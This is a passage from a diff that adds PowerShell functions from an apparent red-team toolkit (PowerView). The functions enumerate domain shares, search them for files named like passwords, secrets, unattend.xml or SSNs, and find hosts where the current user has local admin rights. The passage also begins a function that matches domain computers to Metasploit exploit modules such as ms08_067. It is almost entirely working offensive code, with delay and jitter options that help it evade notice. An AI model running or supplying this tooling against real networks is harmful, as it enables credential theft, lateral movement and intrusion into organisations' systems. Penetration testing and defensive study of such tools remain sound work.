hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ExcludeStandard + + Switch. Exclude standard shares from display (C$, IPC$, print$ etc.) + + .PARAMETER ExcludePrint + + Switch. Exclude the print$ share. + + .PARAMETER ExcludeIPC + + Switch. Exclude the IPC$ share. + + .PARAMETER CheckShareAccess + + Switch. Only display found shares that the local user has access to. + + .PARAMETER CheckAdmin + + Switch. Only display ADMIN$ shares the local user has access to. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0. + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3. + + .PARAMETER Domain + + Domain to query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-ShareFinder -ExcludeStandard + + Find non-standard shares on the domain. + + .EXAMPLE + + PS C:\> Invoke-ShareFinder -Threads 20 + + Multi-threaded share finding, replaces Invoke-ShareFinderThreaded. + + .EXAMPLE + + PS C:\> Invoke-ShareFinder -Delay 60 + + Find shares on the domain with a 60 second (+/- *.3) + randomized delay between touching each host. + + .EXAMPLE + + PS C:\> Invoke-ShareFinder -ComputerFile hosts.txt + + Find shares for machines in the specified hosts file. + + .LINK + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [Switch] + $ExcludeStandard, + + [Switch] + $ExcludePrint, + + [Switch] + $ExcludeIPC, + + [Switch] + $NoPing, + + [Switch] + $CheckShareAccess, + + [Switch] + $CheckAdmin, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay" + + # figure out the shares we want to ignore + [String[]] $ExcludedShares = @('') + + if ($ExcludePrint) { + $ExcludedShares = $ExcludedShares + "PRINT$" + } + if ($ExcludeIPC) { + $ExcludedShares = $ExcludedShares + "IPC$" + } + if ($ExcludeStandard) { + $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$") + } + + if(!$ComputerName) { + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + # if we're using a host file list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.count) -eq 0) { + throw "No hosts found!" + } + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # get the shares for this host and check what we find + $Shares = Get-NetShare -ComputerName $ComputerName + ForEach ($Share in $Shares) { + Write-Debug "[*] Server share: $Share" + $NetName = $Share.shi1_netname + $Remark = $Share.shi1_remark + $Path = '\\'+$ComputerName+'\'+$NetName + + # make sure we get a real share name back + if (($NetName) -and ($NetName.trim() -ne '')) { + # if we're just checking for access to ADMIN$ + if($CheckAdmin) { + if($NetName.ToUpper() -eq "ADMIN$") { + try { + $Null = [IO.Directory]::GetFiles($Path) + "\\$ComputerName\$NetName `t- $Remark" + } + catch { + Write-Debug "Error accessing path $Path : $_" + } + } + } + # skip this share if it's in the exclude list + elseif ($ExcludedShares -NotContains $NetName.ToUpper()) { + # see if we want to check access to this share + if($CheckShareAccess) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + "\\$ComputerName\$NetName `t- $Remark" + } + catch { + Write-Debug "Error accessing path $Path : $_" + } + } + else { + "\\$ComputerName\$NetName `t- $Remark" + } + } + } + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'CheckShareAccess' = $CheckShareAccess + 'ExcludedShares' = $ExcludedShares + 'CheckAdmin' = $CheckAdmin + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin + } + } + + } +} + + +function Invoke-FileFinder { +<# + .SYNOPSIS + + Finds sensitive files on the domain. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for all active machines with Get-NetComputer, grabs + the readable shares for each server, and recursively searches every + share for files with specific keywords in the name. + If a share list is passed, EVERY share is enumerated regardless of + other options. + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ShareList + + List if \\HOST\shares to search through. + + .PARAMETER Terms + + Terms to search for. + + .PARAMETER OfficeDocs + + Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) + + .PARAMETER FreshEXEs + + Switch. Find .EXEs accessed within the last week. + + .PARAMETER LastAccessTime + + Only return files with a LastAccessTime greater than this date value. + + .PARAMETER LastWriteTime + + Only return files with a LastWriteTime greater than this date value. + + .PARAMETER CreationTime + + Only return files with a CreationDate greater than this date value. + + .PARAMETER IncludeC + + Switch. Include any C$ shares in recursive searching (default ignore). + + .PARAMETER IncludeAdmin + + Switch. Include any ADMIN$ shares in recursive searching (default ignore). + + .PARAMETER ExcludeFolders + + Switch. Exclude folders from the search results. + + .PARAMETER ExcludeHidden + + Switch. Exclude hidden files and folders from the search results. + + .PARAMETER CheckWriteAccess + + Switch. Only returns files the current user has write access to. + + .PARAMETER OutFile + + Output results to a specified csv output file. + + .PARAMETER NoClobber + + Switch. Don't overwrite any existing output file. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER Domain + + Domain to query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchForest + + Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER SearchSYSVOL + + Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .PARAMETER UsePSDrive + + Switch. Mount target remote path with temporary PSDrives. + + .PARAMETER Credential + + Credential to use to mount the PSDrive for searching. + + .EXAMPLE + + PS C:\> Invoke-FileFinder + + Find readable files on the domain with 'pass', 'sensitive', + 'secret', 'admin', 'login', or 'unattend*.xml' in the name, + + .EXAMPLE + + PS C:\> Invoke-FileFinder -Domain testing + + Find readable files on the 'testing' domain with 'pass', 'sensitive', + 'secret', 'admin', 'login', or 'unattend*.xml' in the name, + + .EXAMPLE + + PS C:\> Invoke-FileFinder -IncludeC + + Find readable files on the domain with 'pass', 'sensitive', + 'secret', 'admin', 'login' or 'unattend*.xml' in the name, + including C$ shares. + + .EXAMPLE + + PS C:\> Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv + + Enumerate a specified share list for files with 'accounts' or + 'ssn' in the name, and write everything to "out.csv" + + .LINK + http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ + +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $ShareList, + + [Switch] + $OfficeDocs, + + [Switch] + $FreshEXEs, + + [String[]] + $Terms, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $TermList, + + [String] + $LastAccessTime, + + [String] + $LastWriteTime, + + [String] + $CreationTime, + + [Switch] + $IncludeC, + + [Switch] + $IncludeAdmin, + + [Switch] + $ExcludeFolders, + + [Switch] + $ExcludeHidden, + + [Switch] + $CheckWriteAccess, + + [String] + $OutFile, + + [Switch] + $NoClobber, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $SearchForest, + + [Switch] + $SearchSYSVOL, + + [ValidateRange(1,100)] + [Int] + $Threads, + + [Switch] + $UsePSDrive, + + [System.Management.Automation.PSCredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay" + + $Shares = @() + + # figure out the shares we want to ignore + [String[]] $ExcludedShares = @("C$", "ADMIN$") + + # see if we're specifically including any of the normally excluded sets + if ($IncludeC) { + if ($IncludeAdmin) { + $ExcludedShares = @() + } + else { + $ExcludedShares = @("ADMIN$") + } + } + + if ($IncludeAdmin) { + if ($IncludeC) { + $ExcludedShares = @() + } + else { + $ExcludedShares = @("C$") + } + } + + # delete any existing output file if it already exists + if(!$NoClobber) { + if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile } + } + + # if there's a set of terms specified to search for + if ($TermList) { + ForEach ($Term in Get-Content -Path $TermList) { + if (($Term -ne $Null) -and ($Term.trim() -ne '')) { + $Terms += $Term + } + } + } + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + # if we're hard-passed a set of shares + if($ShareList) { + ForEach ($Item in Get-Content -Path $ShareList) { + if (($Item -ne $Null) -and ($Item.trim() -ne '')) { + # exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder + $Share = $Item.Split("`t")[0] + $Shares += $Share + } + } + } + if($SearchSYSVOL) { + ForEach ($Domain in $TargetDomains) { + $DCSearchPath = "\\$Domain\SYSVOL\" + Write-Verbose "[*] Adding share search path $DCSearchPath" + $Shares += $DCSearchPath + } + if(!$Terms) { + # search for interesting scripts on SYSVOL + $Terms = @('.vbs', '.bat', '.ps1') + } + } + else { + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + # script block that enumerates shares and files on a server + $HostEnumBlock = { + param($ComputerName, $Ping, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential) + + Write-Verbose "ComputerName: $ComputerName" + Write-Verbose "ExcludedShares: $ExcludedShares" + $SearchShares = @() + + if($ComputerName.StartsWith("\\")) { + # if a share is passed as the server + $SearchShares += $ComputerName + } + else { + # if we're enumerating the shares on the target server first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # get the shares for this host and display what we find + $Shares = Get-NetShare -ComputerName $ComputerName + ForEach ($Share in $Shares) { + + $NetName = $Share.shi1_netname + $Path = '\\'+$ComputerName+'\'+$NetName + + # make sure we get a real share name back + if (($NetName) -and ($NetName.trim() -ne '')) { + + # skip this share if it's in the exclude list + if ($ExcludedShares -NotContains $NetName.ToUpper()) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + $SearchShares += $Path + } + catch { + Write-Debug "[!] No access to $Path" + } + } + } + } + } + } + + ForEach($Share in $SearchShares) { + $SearchArgs = @{ + 'Path' = $Share + 'Terms' = $Terms + 'OfficeDocs' = $OfficeDocs + 'FreshEXEs' = $FreshEXEs + 'LastAccessTime' = $LastAccessTime + 'LastWriteTime' = $LastWriteTime + 'CreationTime' = $CreationTime + 'ExcludeFolders' = $ExcludeFolders + 'ExcludeHidden' = $ExcludeHidden + 'CheckWriteAccess' = $CheckWriteAccess + 'OutFile' = $OutFile + 'UsePSDrive' = $UsePSDrive + 'Credential' = $Credential + } + + Find-InterestingFile @SearchArgs + } + } + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'ExcludedShares' = $ExcludedShares + 'Terms' = $Terms + 'ExcludeFolders' = $ExcludeFolders + 'OfficeDocs' = $OfficeDocs + 'ExcludeHidden' = $ExcludeHidden + 'FreshEXEs' = $FreshEXEs + 'CheckWriteAccess' = $CheckWriteAccess + 'OutFile' = $OutFile + 'UsePSDrive' = $UsePSDrive + 'Credential' = $Credential + } + + # kick off the threaded script block + arguments + if($Shares) { + # pass the shares as the hosts so the threaded function code doesn't have to be hacked up + Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + else { + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + } + + else { + if($Shares){ + $ComputerName = $Shares + } + elseif(-not $NoPing -and ($ComputerName.count -gt 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + $ComputerName | Where-Object {$_} | ForEach-Object { + Write-Verbose "Computer: $_" + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))" + + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential + } + } + } +} + + +function Find-LocalAdminAccess { +<# + .SYNOPSIS + + Finds machines on the local domain where the current user has + local administrator access. Uses multithreading to + speed up enumeration. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for all active machines with Get-NetComputer, then for + each server it checks if the current user has local administrator + access using Invoke-CheckLocalAdminAccess. + + Idea stolen from the local_admin_search_enum post module in + Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER Domain + + Domain to query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Find-LocalAdminAccess + + Find machines on the local domain where the current user has local + administrator access. + + .EXAMPLE + + PS C:\> Find-LocalAdminAccess -Threads 10 + + Multi-threaded access hunting, replaces Find-LocalAdminAccessThreaded. + + .EXAMPLE + + PS C:\> Find-LocalAdminAccess -Domain testing + + Find machines on the 'testing' domain where the current user has + local administrator access. + + .EXAMPLE + + PS C:\> Find-LocalAdminAccess -ComputerFile hosts.txt + + Find which machines in the host list the current user has local + administrator access. + + .LINK + + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb + http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/ +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay" + + if(!$ComputerName) { + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping) + + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # check if the current user has local admin access to this server + $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName + if ($Access) { + $ComputerName + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + } + } + } +} + + +function Get-ExploitableSystem { +<# + .Synopsis + + This module will query Active Directory for the hostname, OS version, and service pack level + for each computer account. That information is then cross-referenced against a list of common + Metasploit exploits that can be used during penetration testing. + + .DESCRIPTION + + This module will query Active Directory for the hostname, OS version, and service pack level + for each computer account. That information is then cross-referenced against a list of common + Metasploit exploits that can be used during penetration testing. The script filters out disabled + domain computers and provides the computer's last logon time to help determine if it's been + decommissioned. Also, since the script uses data tables to output affected systems the results + can be easily piped to other commands such as test-connection or a Export-Csv. + + .PARAMETER ComputerName + + Return computers with a specific name, wildcards accepted. + + .PARAMETER SPN + + Return computers with a specific service principal name, wildcards accepted. + + .PARAMETER OperatingSystem + + Return computers with a specific operating system, wildcards accepted. + + .PARAMETER ServicePack + + Return computers with a specific service pack, wildcards accepted. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Ping + + Switch. Ping each host to ensure it's up before enumerating. + + .PARAMETER Domain + + The domain to query for computers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Unconstrained + + Switch. Return computer objects that have unconstrained delegation. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + The example below shows the standard command usage. Disabled system are excluded by default, but + the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't + logged on for two or more weeks it's been decommissioned. + PS C:\> Get-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize + [*] Grabbing computer accounts from Active Directory... + [*] Loading exploit list for critical missing patches... + [*] Checking computers for vulnerable OS and SP levels... + [+] Found 5 potentially vulnerable systems! + ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE + ------------ --------------- ----------- --------- --------- --- + ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + + .EXAMPLE + + PS C:\> Get-ExploitableSystem | Export-Csv c:\temp\output.csv -NoTypeInformation + + How to write the output to a csv file. + + .EXAMPLE + + PS C:\> Get-ExploitableSystem -Domain testlab.local -Ping + + Return a set of live hosts from the testlab.local domain + + .LINK + + http://www.netspi.com + https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1 + + .NOTES + + Author: Scott Sutherland - 2015, NetSPI + Modifications to integrate into PowerView by @harmj0y + Version: Get-ExploitableSystem.psm1 v1.1 + Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount" + function found in Carols Perez's PoshSec-Mod project. The general idea is based off of + Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit. +#> + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = '*', + + [String] + $SPN, + + [String] + $OperatingSystem = '*', + + [String] + $ServicePack = '*', + + [String] + $Filter, + + [Switch] + $Ping, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $Unconstrained, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + Write-Verbose "[*] Grabbing computer accounts from Active Directory..." + + # Create data table for hostnames, os, and service packs from LDAP + $TableAdsComputers = New-Object System.Data.DataTable + $Null = $TableAdsComputers.Columns.Add('Hostname') + $Null = $TableAdsComputers.Columns.Add('OperatingSystem') + $Null = $TableAdsComputers.Columns.Add('ServicePack') + $Null = $TableAdsComputers.Columns.Add('LastLogon') + + Get-NetComputer -FullData @PSBoundParameters | ForEach-Object { + + $CurrentHost = $_.dnshostname + $CurrentOs = $_.operatingsystem + $CurrentSp = $_.operatingsystemservicepack + $CurrentLast = $_.lastlogon + $CurrentUac = $_.useraccountcontrol + + $CurrentUacBin = [convert]::ToString($_.useraccountcontrol,2) + + # Check the 2nd to last value to determine if its disabled + $DisableOffset = $CurrentUacBin.Length - 2 + $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1) + + # Add computer to list if it's enabled + if ($CurrentDisabled -eq 0) { + # Add domain computer to data table + $Null = $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast) + } + } + + # Status user + Write-Verbose "[*] Loading exploit list for critical missing patches..." + + # ---------------------------------------------------------------- + # Setup data table for list of msf exploits + # ---------------------------------------------------------------- + + # Create data table for list of patches levels with a MSF exploit + $TableExploits = New-Object System.Data.DataTable + $Null = $TableExploits.Columns.Add('OperatingSystem') + $Null = $TableExploits.Columns.Add('ServicePack') + $Null = $TableExploits.Columns.Add('MsfModule') + $Null = $TableExploits.Columns.Add('CVE') + + # Add exploits to data table + $Null = $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = 